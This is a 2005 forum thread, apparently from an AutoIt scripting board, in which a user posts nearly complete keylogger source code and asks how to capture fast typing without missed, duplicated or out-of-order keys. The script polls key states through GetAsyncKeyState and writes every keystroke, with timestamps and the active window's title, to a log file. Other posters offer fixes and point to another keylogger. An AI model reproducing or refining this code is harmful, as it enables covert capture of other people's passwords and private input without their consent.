closeupman Posted January 25, 2005 Share Posted January 25, 2005 I've already done a keylogger just recently after seeing the topic, but I sometimes get the same key multiple times, or the keys logged in the wrong order, or missed keystrokes. I've tried various sleep times in the while loop but to no avail. Anyone can give any suggestions whose made one b4? I've got the finding and matching and writing ok, but not sure how to make it log when say, someone's a FAST typist. Is it possible? or is there always going to be the problems above? While TRUE $log=_keypress() if $log >0 then _logkey($log) endif sleep (200) Wend Link to comment Share on other sites More sharing options...
Wolvereness Posted January 25, 2005 Share Posted January 25, 2005 Post entire script that you were PMing me. Offering any help to anyone (to my capabilities of course)Want to say thanks? Click here! [quote name='Albert Einstein']Only two things are infinite, the universe and human stupidity, and I'm not sure about the former.[/quote][quote name='Wolvereness' date='7:35PM Central, Jan 11, 2005']I'm NEVER wrong, I call it something else[/quote] Link to comment Share on other sites More sharing options...
closeupman Posted January 25, 2005 Author Share Posted January 25, 2005 Here it is. I removed the hex and string values for clarity(they're the same as I Pmed you before). If I don't put a sleep value in the while loop, I hog the cpu at 100%. However even with no sleep value I still miss some keys or get transposed or multiple keys sometimes. If I type real slow it seems 99% okay. But if someone types without doing hunt n peck, there is going to be some problems as mentioned above. (i've tried also sleep 5-200 to no avail) maybe have to do a dll call and have a function such as 'iskeydown' or 'iskeyup'? Also, it records left clicks but won't record click on the browser left , stop etc...if though I have them in my list. It only records the mouse click not what I clicked on...any ideas? Thanks. You don't have to answer all....ANY advice would be welcome expandcollapse popup;--------------- Global $keyRepresent[159],$keys[158][3] global $allKeysHex,$allKeysValues global $file $allKeysHex= ; the hex values of the keys $allKeysValues=; the string values to log $keyHexList=StringSplit($allKeysHex,",") $keyRepresent=StringSplit($allKeysValues,",") ;----- dim $dummy global const $TRUE=1 $file = FileOpen(@ScriptDir & "\keylog.txt", 1) If $file = -1 Then Exit EndIf $dummy=Initiliaze_Variables() While $TRUE ;get user input $Log=_KeyPress() ;if there is user input then record it if $Log <> '##NULL##'then ;_LogKeyPress($log) ;msgbox(0,"",&$Log,1) FileWriteLine($file, "[ " &@MDAY & ". " &@MON & ". " &@YEAR & " " &@HOUR & ":" &@MIN & ":" &@SEC & " ] " & "Window: (" & WinGetTitle("") & ") " & "Pressed Button: " & $log) endif sleep(50);after put this no longer recording 1 keystroke as multiple keystrokes..hmmmm WEnd Func _KeyPress() ;returns the key pressed - can be mouse button too not just keyboard local $index,$storetime for $index=1 to 157 if _IsPressed($keys[$index][0]) And ((TimerDiff($keys[$index][2]) / 1000) > .3) Then ;msgbox(0,"","HERE"&$index,1) ;$storetime=Timerdiff($keys[$index][2]) $keys[$index][2]=TimerInit() Return $keys[$index][1] EndIf next;index Return '##NULL##' EndFunc Func _IsPressed($hexKey) ; $hexKey must be the value of one of the keys. ; _IsPressed will return 0 if the key is not pressed, 1 if it is. Local $aR, $bRv;$hexKey $hexKey = '0x' & $hexKey ;msgbox(0,"","HERE"&$hexkey,1) $aR = DllCall("user32", "int", "GetAsyncKeyState", "int", $hexKey) ;If $aR[0] = -32767 Then If $aR[0] <> 0 Then $bRv = 1 ;msgbox(0,"","HERE"&$hexkey,1) Else $bRv = 0 EndIf Return $bRv EndFunc;==>_IsPressed Func _LogKeyPress($what2log) FileWriteLine($file, "[ " &@MDAY & ". " &@MON & ". " &@YEAR & " " &@HOUR & ":" &@MIN & ":" &@SEC & " ] " & "Window: (" & WinGetTitle("") & ") " & "Pressed Button: " & $what2log) EndFunc Func Initiliaze_Variables() local $Count For $Count = 1 To 157 $keys[$count][0] = $keyHexList[$count] $keys[$count][1] = $keyRepresent[$count] $keys[$count][2] = TimerInit() Next Return $TRUE EndFunc Link to comment Share on other sites More sharing options...
Blue_Drache Posted January 25, 2005 Share Posted January 25, 2005 Wasn't there a small problem with using the comma "," as a string split delimiter? Have you tried the pipe "|"? Just my .02 Lofting the cyberwinds on teknoleather wings, I am...The Blue Drache Link to comment Share on other sites More sharing options...
closeupman Posted January 25, 2005 Author Share Posted January 25, 2005 Wasn't there a small problem with using the comma "," as a string split delimiter? Have you tried the pipe "|"? Just my .02<{POST_SNAPBACK}>No the comma was fine. I recorded the , as COMMA in my string list to overcome that.Thanks anywaysMy problem is in not all keys being logged, multiple of the same key, keys logged in wrong sequence (for the keyboard)For mouse:only can record the first action not what it does(i.e. record left or right click...but not if I click on say the browers refresh button) Link to comment Share on other sites More sharing options...
Blue_Drache Posted January 25, 2005 Share Posted January 25, 2005 No the comma was fine. I recorded the , as COMMA in my string list to overcome that.Thanks anywaysMy problem is in not all keys being logged, multiple of the same key, keys logged in wrong sequence (for the keyboard)For mouse:only can record the first action not what it does(i.e. record left or right click...but not if I click on say the browers refresh button)<{POST_SNAPBACK}>Has Larry released his "ScriptWriter" code? It's a keylogger in its own right, but outputs to an .au3 file....... Lofting the cyberwinds on teknoleather wings, I am...The Blue Drache Link to comment Share on other sites More sharing options...
skafreak_510 Posted January 25, 2005 Share Posted January 25, 2005 How are you suposed to figure out the hex values and the string values? Link to comment Share on other sites More sharing options...
closeupman Posted January 25, 2005 Author Share Posted January 25, 2005 How are you suposed to figure out the hex values and the string values?<{POST_SNAPBACK}>They're here:Hex & String Values Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now